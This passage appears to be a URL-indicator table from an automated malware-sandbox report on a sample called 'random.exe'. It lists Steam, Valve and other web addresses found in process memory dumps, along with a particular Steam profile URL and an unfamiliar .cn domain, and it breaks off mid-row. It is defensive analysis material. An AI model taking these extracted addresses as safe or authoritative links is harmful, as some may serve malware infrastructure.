https://community.cloudflare.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S	random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248494417.0000000005326000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1318981349.0000000005323000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1208523472.0000000005327000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1181511042.0000000005323000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1224632852.0000000005326000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.00000000052FC000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138655767.00000000052EF000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=G3UTKgHH4xLD&l=engl	random.exe, 00000000.00000003.1179998048.0000000005330000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207137193.0000000005330000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248494417.0000000005326000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1318981349.0000000005323000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1250032996.00000000052E3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138681413.00000000052EC000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1208523472.0000000005327000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1181511042.0000000005323000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1224632852.0000000005326000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.00000000052FC000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.1329437229.00000000053E0000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.1329006477.00000000052E0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	random.exe, 00000000.00000003.1266218601.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207283524.0000000000C5C000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179998048.000000000531D000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293865583.0000000000BCB000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207137193.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1180376122.0000000005305000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266262952.0000000000BCB000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225128551.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.00000000052FC000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281110551.00000000053E3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281212887.0000000000BCB000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/css/skin_1/fatalerror.css?v=OFUqlcDNiD6y&l=e	random.exe, 00000000.00000003.1179998048.0000000005330000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207137193.0000000005330000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248494417.0000000005326000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1250032996.00000000052E3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1208523472.0000000005327000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1181511042.0000000005323000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1224632852.0000000005326000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.00000000052FC000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.1329006477.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167060919.00000000052E8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcD	random.exe, 00000000.00000003.1179998048.0000000005330000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207137193.0000000005330000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248494417.0000000005326000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1318981349.0000000005323000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1208523472.0000000005327000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1181511042.0000000005323000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1224632852.0000000005326000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.00000000052FC000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.1329437229.00000000053E0000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138655767.00000000052EF000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steam.tv/	random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/p	random.exe, 00000000.00000003.1319292450.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.1321220446.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1294172488.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308124670.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=V4P4q3q732	random.exe, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225176832.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1180108734.000000000531C000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308047617.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207137193.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308124670.0000000000BCB000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1180376122.0000000005305000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1294172488.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248819986.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281212887.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266474719.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=sd6kCnGQW5Ji&	random.exe, 00000000.00000003.1179998048.0000000005330000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207137193.0000000005330000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248494417.0000000005326000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1318981349.0000000005323000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1250032996.00000000052E3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138681413.00000000052EC000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1208523472.0000000005327000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1181511042.0000000005323000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1224632852.0000000005326000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.00000000052FC000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.1329437229.00000000053E0000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://store.steampowered.com/privacy_agreement/	random.exe, random.exe, 00000000.00000003.1266218601.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266218601.00000000052F1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1210304976.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1210732032.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1209568884.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1209455611.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1208456212.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167181910.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1208710850.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225176832.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1180108734.000000000531C000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308047617.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1210351738.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207137193.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://store.steampowered.com/points/shop/	random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.1329114147.00000000052F1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1319136204.00000000052F1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293767313.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207105013.00000000053F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	random.exe, 00000000.00000003.1124246645.0000000005329000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	random.exe, 00000000.00000003.1180596839.00000000053ED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/b	random.exe, 00000000.00000003.1248649664.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	random.exe, 00000000.00000003.1180596839.00000000053ED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sketchfab.com	random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com:443/profiles/76561199822375128	random.exe, 00000000.00000003.1111936216.0000000000BC9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	random.exe, 00000000.00000003.1181554878.000000000560C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/	random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsoft.	random.exe, 00000000.00000003.1319292450.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.1321220446.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1294172488.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281212887.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308124670.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/Z	random.exe, 00000000.00000003.1319436004.0000000000C52000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.1321311445.0000000000C52000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308124670.0000000000C42000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1319176427.0000000000C52000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308295104.0000000000C51000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293767313.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207105013.00000000053F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=EZbG2DEumYDH&l=engli	random.exe, 00000000.00000003.1179998048.0000000005330000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207137193.0000000005330000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248494417.0000000005326000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1318981349.0000000005323000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1208523472.0000000005327000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1181511042.0000000005323000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1224632852.0000000005326000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.00000000052FC000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.1329437229.00000000053E0000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138655767.00000000052EF000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.1329006477.00000000052E0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/	random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=engli	random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1318981349.0000000005323000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138655767.00000000052EF000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C2B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293767313.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207105013.00000000053F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=jfdb	random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225176832.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1180108734.000000000531C000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308047617.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207137193.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308124670.0000000000BCB000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1180376122.0000000005305000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1294172488.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248819986.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281212887.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 